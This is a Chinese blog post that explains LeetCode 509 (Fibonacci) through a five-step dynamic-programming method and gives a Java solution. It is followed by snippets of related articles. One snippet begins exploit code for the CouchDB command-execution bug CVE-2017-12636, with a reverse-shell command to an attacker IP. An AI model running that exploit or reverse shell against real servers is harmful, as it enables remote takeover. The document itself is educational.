当前位置: 首页 > news >正文

java数据结构与算法刷题-----LeetCode509. 斐波那契数

java数据结构与算法刷题目录(剑指Offer、LeetCode、ACM)-----主目录-----持续更新(进不去说明我没写完):https://blog.csdn.net/grd_java/article/details/123063846

很多人觉得动态规划很难,但它就是固定套路而已。其实动态规划只不过是将多余的步骤,提前放到dp数组中(就是一个数组,只不过大家都叫它dp),达到空间换时间的效果。它仅仅只是一种优化思路,因此它目前的境地和线性代数一样----虚假的难。

  1. 想想线性代数,在国外留学的学生大多数不觉得线性代数难理解。但是中国的学生学习线性代数时,完全摸不着头脑,一上来就是行列式和矩阵,根本不知道这玩意是干嘛的。
  2. 线性代数从根本上是在空间上研究向量,抽象上研究线性关系的学科。人家国外的教科书都是第一讲就帮助大家理解研究向量和线性关系。
  3. 反观国内的教材,直接把行列式搞到第一章。搞的国内的学生在学习线性代数的时候,只会觉得一知半解,觉得麻烦,完全不知道这玩意学来干什么。当苦尽甘来终于理解线性代数时干什么的时候,发现人家国外的教材第一节就把这玩意讲清楚了。你只会大骂我们国内这些教材,什么狗东西(以上是自己学完线性代数后的吐槽,我们同学无一例外都这么觉得)。

而我想告诉你,动态规划和线性代数一样,我学完了才知道,它不过就是研究空间换时间,提前将固定的重复操作规划到dp数组中,而不用暴力求解,从而让效率极大提升。

  1. 但是网上教动态规划的兄弟们,你直接给一个动态方程是怎么回事?和线性代数,一上来就教行列式和矩阵一样,纯属恶心人。我差不多做了30多道动态规划题目,才理解,动态方程只是一个步骤而已,而这已经浪费我很长时间了,我每道题都一知半解不理解,过程及其痛苦。最后只能重新做。
  2. 动态规划,一定是优先考虑重复操作与dp数组之间的关系,搞清楚后,再提出动态方程。而你们前面步骤省略了不讲,一上来给个方程,不是纯属扯淡吗?
  3. 我推荐研究动态规划题目,按5个步骤,从上到下依次来分析
  1. DP数组及下标含义
  2. 递推公式
  3. dp数组初始化
  4. 数组遍历顺序(双重循环及以上时,才考虑)
  5. dp数组打印,分析思路是否正确(相当于做完题,检查一下)

在这里插入图片描述

什么是斐波那契数列?
  1. 斐波那契数列:第一个值是0,第二个值是1,剩下的元素是它前两个元素和,例如:0 1 1 2 3 5… , 可见除了最开始的两个固定为0和1外,其余每一个元素都是前两个元素的和。
  2. 也就是说,这玩意一看就是固定的一套值,如果每次都重新生成,就太暴力了。
  3. 动态规划的思想就是,将生成的过程,就生成一次,之后再用,直接从dp数组中拿。从而大大提升效率
解题思路
  1. 暴力求解的思想,就是定义3个或者2个变量,然后累加,以获得指定位置的斐波那契数。每次都需要从头开始累加
  2. 但是如果我们预先将其存储到dp数组,就可以直接通过dp[x], 获取dp数组中指定位置x的对应斐波那契数,而不用每次都从头计算。
动态规划思考5步曲
  1. DP数组及下标含义

DP数组存储斐波那契数列,这个数列是一维线性的,所以只需一维数组存储。下标代表斐波那契数的位置。dp[0] = 0,dp[1] = 1是头两个固定值,dp[2]开始,每个元素是前两个数组元素的和。即可生成对应斐波那契数列的dp数组。

  1. 递推公式

既然知道了DP数组就是存储的斐波那契数列,那么递推公式,很显然就是当前元素=前两个元素的和。F(n) = F(n-1)+F(n-2)。 而且F(0) = 0,F(1)=1,这是斐波那契数列的特性,前两个值固定为0和1.

  1. dp数组初始化

在这里插入图片描述

  1. 数组遍历顺序(因为斐波那契数列是一维的,只需要一重循环,无需考虑这个)
  2. 打印dp数组(自己生成dp数组后,将dp数组输出看看,是否和自己预想的一样。)

在这里插入图片描述

代码

在这里插入图片描述

class Solution {public int fib(int n) {int length = n>=1?n:1;//避免n给的太小,例如n = 0时,dp[1] = 1;这条代码会下标越界//初始化DP数组,一维数组即可,头两个元素固定为0和1int dp[] = new int[length+1]; dp[0] = 0; dp[1] = 1;//其余元素为它的前两个元素的和for(int i = 2;i<=n ; i++){dp[i] = dp[i-1]+dp[i-2];}return dp[n];}
}

相关文章:

java数据结构与算法刷题-----LeetCode509. 斐波那契数

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 很多人觉得动态规划很难&#xff0c;但它就是固定套路而已。其实动态规划只…...

vue3 element plus el-table封装(二)

上文是对el-table的基本封装&#xff0c;只能满足最简单的应用&#xff0c;本文主要是在上文的基础上增加slot插槽&#xff0c;并且对col插槽进行拓展&#xff0c;增加通用性 // BaseTable.vue <template><el-table><template v-for"name in tableSlots&…...

cnn lstm结合网络

目录 特征处理例子&#xff1a; cnn 5张图片一组&#xff0c;提取特征后&#xff0c;再给lstm&#xff0c;进时间序列分类。 特征处理例子&#xff1a; import torch# 假设 tensor 是形状为 15x64 的张量 tensor torch.arange(15 * 2).reshape(15, 2) # 生成顺序编号的张量&…...

Ubuntu连接xshell

安装ssh服务器 sudo apt-get install openssh-server​ 重启ssh sudo service ssh restart 3.启动ssh服务 /etc/init.d/ssh start4.修改文件&#xff0c;允许远程登陆 sudo vi /etc/ssh/sshd_config PermitRootLogin prohibit-password #默认为禁止登录 PermitRootLogin y…...

nginx安装和配置

目录 1.安装 2.配置 3.最小配置说明 4. nginx 默认访问路径 1.安装 使用 epel 源安装 先安装 yum 的扩展包 yum install epel-release -y 再安装 nginx yum install nginx -y 在启动nginx 前先关闭防火墙 systemctl stop firewalld 取消防火墙开机自启 systemctl di…...

【头歌实训】kafka-入门篇

文章目录 第1关&#xff1a;kafka - 初体验任务描述相关知识Kafka 简述Kafka 应用场景Kafka 架构组件kafka 常用命令 编程要求测试说明答案代码 第2关&#xff1a;生产者 &#xff08;Producer &#xff09; - 简单模式任务描述相关知识Producer 简单模式Producer 的开发步骤Ka…...

华为云创新中心,引领浙南的数字化腾飞

编辑&#xff1a;阿冒 设计&#xff1a;沐由 县域经济是我国国民经济的重要组成部分&#xff0c;是推动经济社会全面发展的核心力量之一。在推进中国式现代化的征程中&#xff0c;县域经济扮演的角色也越来越重要。 毫无疑问&#xff0c;县域经济的良性发展&#xff0c;需要多方…...

240101-5步MacOS自带软件无损快速导出iPhone照片

硬件准备&#xff1a; iphone手机Mac电脑数据线 操作步骤&#xff1a; Step 1: 找到并打开MacOS自带的图像捕捉 Step 2: 通过数据线将iphone与电脑连接Step 3&#xff1a;iphone与电脑提示“是否授权“&#xff1f; >>> “是“Step 4&#xff1a;左上角选择自己的设…...

github鉴权失败

问题&#xff1a; 如上图所示 git push 时发生了报错&#xff0c;鉴权失败&#xff1b; 解决方案 Settings->Developer settings->Personal access tokens->Generate new token。创建新的访问密钥&#xff0c;勾选repo栏&#xff0c;选择有效期&#xff0c;为密钥命…...

2023湾区产城创新大会:培育数字化供应链金融新时代

2023年12月26日&#xff0c;由南方报业传媒集团指导&#xff0c;南方报业传媒集团深圳分社主办的“新质新力——2023湾区产城创新大会”在深圳举行。大会聚集里国内产城研究领域的专家学者以及来自产业园区、金融机构、企业的代表&#xff0c;以新兴产业发展为议题&#xff0c;…...

多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测

多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测 目录 多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预…...

二叉树的前序遍历 、二叉树的最大深度、平衡二叉树、二叉树遍历(leetcode)

目录 一、二叉树的前序遍历 方法一&#xff1a;全局变量记录节点个数 方法二&#xff1a;传址调用记录节点个数 二、二叉树的最大深度 三、平衡二叉树 四、二叉树遍历 一、二叉树的前序遍历 方法一&#xff1a;全局变量记录节点个数 计算树的节点数: 函数TreeSize用于递…...

SQL之CASE WHEN用法详解

目录 一、简单CASE WHEN函数&#xff1a;二、CASE WHEN条件表达式函数三、常用场景 场景1&#xff1a;不同状态展示为不同的值场景2&#xff1a;统计不同状态下的值场景3&#xff1a;配合聚合函数做统计场景4&#xff1a;CASE WHEN中使用子查询场景5&#xff1a;经典行转列&am…...

Ubuntu 18.04搭建RISCV和QEMU环境

前言 因为公司项目代码需要在RISCV环境下测试&#xff0c;因为没有硬件实体&#xff0c;所以在Ubuntu 18.04上搭建了riscv-gnu-toolchain QEMU模拟器环境。 安装riscv-gnu-toolchain riscv-gnu-toolchain可以从GitHub上下载源码编译&#xff0c;地址为&#xff1a;https://…...

立足兴趣社交赛道,Soul创新在线社交元宇宙新玩法

近年来,元宇宙概念在全球范围内持续升温,众多企业巨头纷纷加入这场热潮。在一众社交平台中,Soul App凭借其独特的创新理念和技术支撑,致力于打造以Soul为链接的社交元宇宙,成为年轻人心目中的社交新宠。作为新型社交平台的代表,Soul坚持以“不看颜值,看兴趣”为核心,以及持续创…...

Couchdb 任意命令执行漏洞(CVE-2017-12636)

一、环境搭建 二、访问 三、构造payload #!/usr/bin/env python3 import requests import json import base64 from requests.auth import HTTPBasicAuth target http://192.168.217.128:5984 # 目标ip command rb"""sh -i >& /dev/tcp/192.168.217…...

VectorWorks各版本安装指南

VectorWorks下载链接 https://pan.baidu.com/s/1q2WWbePfo-VaGpPtgoWCUQ?pwd0531 1.鼠标右击【VectorWorks 2023(64bit)】压缩包&#xff08;win11及以上系统需先点击“显示更多选项”&#xff09;选择【解压到 VectorWorks 2023(64bit)】。 2.打开C盘路径地址【c:\windows\…...

【MySQL】数据库中为什么使用B+树不用B树

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a; 数 据 库 ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 B树的特点和应用场景&#xff1a; B树相对于B树的优势&#xff1a; 结论&#xff1a; 结语 我的其他博客 前言 在数据…...

微信小程序发送模板消息-详解【有图】

前言 在发送模板消息之前我们要首先搞清楚微信小程序的逻辑是什么&#xff0c;这只是前端的一个demo实现&#xff0c;建议大家在后端处理&#xff0c;前端具体实现&#xff1a;如下图 1.获取小程序Id和密钥 我们注册完微信小程序后&#xff0c;可以在开发设置中看到以下内容&a…...

Easy Rules规则引擎实战

文章目录 简介pom 规则抽象规则Rule基础规则BasicRule事实类Facts&#xff1a;map条件接口动作接口 四种规则定义方式注解方式RuleBuilder 链式Mvel和Spel表达式Yml配置 常用规则类DefaultRuleSpELRule&#xff08;Spring的表达式注入&#xff09; 组合规则UnitRuleGroup 规则引…...

如何在英雄联盟国服免费体验所有皮肤:R3nzSkin换肤工具终极指南

如何在英雄联盟国服免费体验所有皮肤&#xff1a;R3nzSkin换肤工具终极指南 【免费下载链接】R3nzSkin-For-China-Server Skin changer for League of Legends (LOL) 项目地址: https://gitcode.com/gh_mirrors/r3/R3nzSkin-For-China-Server 想要在英雄联盟国服中免费体…...

Docker 部署 SpringBoot 项目超详细教程

Docker 部署 SpringBoot 项目超详细教程一篇适合新手的 Docker 部署 SpringBoot 实战教程&#xff0c;包含&#xff1a; Docker 安装镜像加速SpringBoot 打包Dockerfile 编写构建镜像容器部署日志查看防火墙开放常见问题解决 图文并茂&#xff0c;保姆级教学。本文假设你已拥有…...

探索GitHub导航菜单:平台功能、解决方案、资源及GlycemicGPT项目全揭秘

导航菜单包含登录、外观设置等选项&#xff0c;还有平台、解决方案、资源、开源、企业版等板块。平台有AI代码创作&#xff08;如GitHub Copilot、GitHub Spark等&#xff09;、开发者工作流&#xff08;如Actions、Codespaces等&#xff09;、应用程序安全&#xff08;如GitHu…...

前台测试想转后台优化?这4个条件缺一不可,否则别折腾

很多做前台测试的兄弟都问过同一个问题&#xff1a;我能不能转后台&#xff1f;今天这篇文章&#xff0c;一次性把后台工程师的准入清单说清楚。一、基础条件&#xff1a;5条缺一不可年龄20-50岁太小的缺经验&#xff0c;太大的学新东西慢&#xff0c;这个区间刚刚好。有网优基…...

别再折腾Java环境了!用Docker一键部署BurpSuite社区版,5分钟开箱即用

用Docker容器化技术5分钟部署BurpSuite社区版&#xff1a;告别Java环境配置噩梦 在网络安全领域&#xff0c;BurpSuite无疑是Web应用渗透测试的瑞士军刀。但传统安装方式需要配置Java环境、处理兼容性问题&#xff0c;甚至不少用户为了功能完整而冒险使用破解版。现在&#xf…...

【Midjourney光照提示词黄金法则】:20年AI视觉工程师亲授7类光效参数组合,92%新手3天提升质感层级

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;光照提示词在Midjourney中的底层作用机制 光照提示词&#xff08;Lighting Prompts&#xff09;并非简单的修饰性描述&#xff0c;而是直接参与 Midjourney V6 模型的 latent 空间引导与风格解耦的关键…...

(二)进程的状态优先级

1进程的状态(兼容所有操作系统)1.1并行和并发CPU执行进程代码&#xff0c;不是把进程代码执行完毕&#xff0c;才开始执行下一个 而是给每一个进程预分配一个 时间片&#xff0c;基于时间片&#xff0c;进行调度轮转(单CPU下)&#xff0c;并发。并发&#xff1a;多个进程在一个…...

YOLOv8无人机识别检测系统(项目源码+YOLO数据集+模型权重+UI界面+python+深度学习+环境配置)

摘要 针对低空无人机&#xff08;drone&#xff09;的检测需求&#xff0c;本文基于YOLOv8目标检测算法构建了一个无人机识别系统。实验采用自建无人机数据集&#xff0c;包含训练集1012张图像、验证集347张图像&#xff0c;类别为单一目标“drone”。模型训练过程中&#xff…...

RISC-V SoC上DNN加速的内存优化与FTL算法实践

1. RISC-V SoC上的DNN加速内存优化挑战在边缘计算场景下&#xff0c;深度神经网络(DNN)的部署面临严峻的内存带宽挑战。典型的RISC-V异构SoC&#xff08;如Siracusa&#xff09;采用多级软件管理内存架构&#xff0c;包含L1紧耦合存储器&#xff08;32KB&#xff09;、L2共享缓…...

开源AI智能体技能库:模块化设计赋能AI应用开发

1. 项目概述&#xff1a;一个开源的AI智能体技能库最近在GitHub上闲逛&#xff0c;发现了一个挺有意思的项目&#xff0c;叫free-ai-agent-skills。光看名字&#xff0c;你可能会觉得这又是一个堆砌各种AI工具调用的代码仓库。但点进去仔细研究后&#xff0c;我发现它的定位和设…...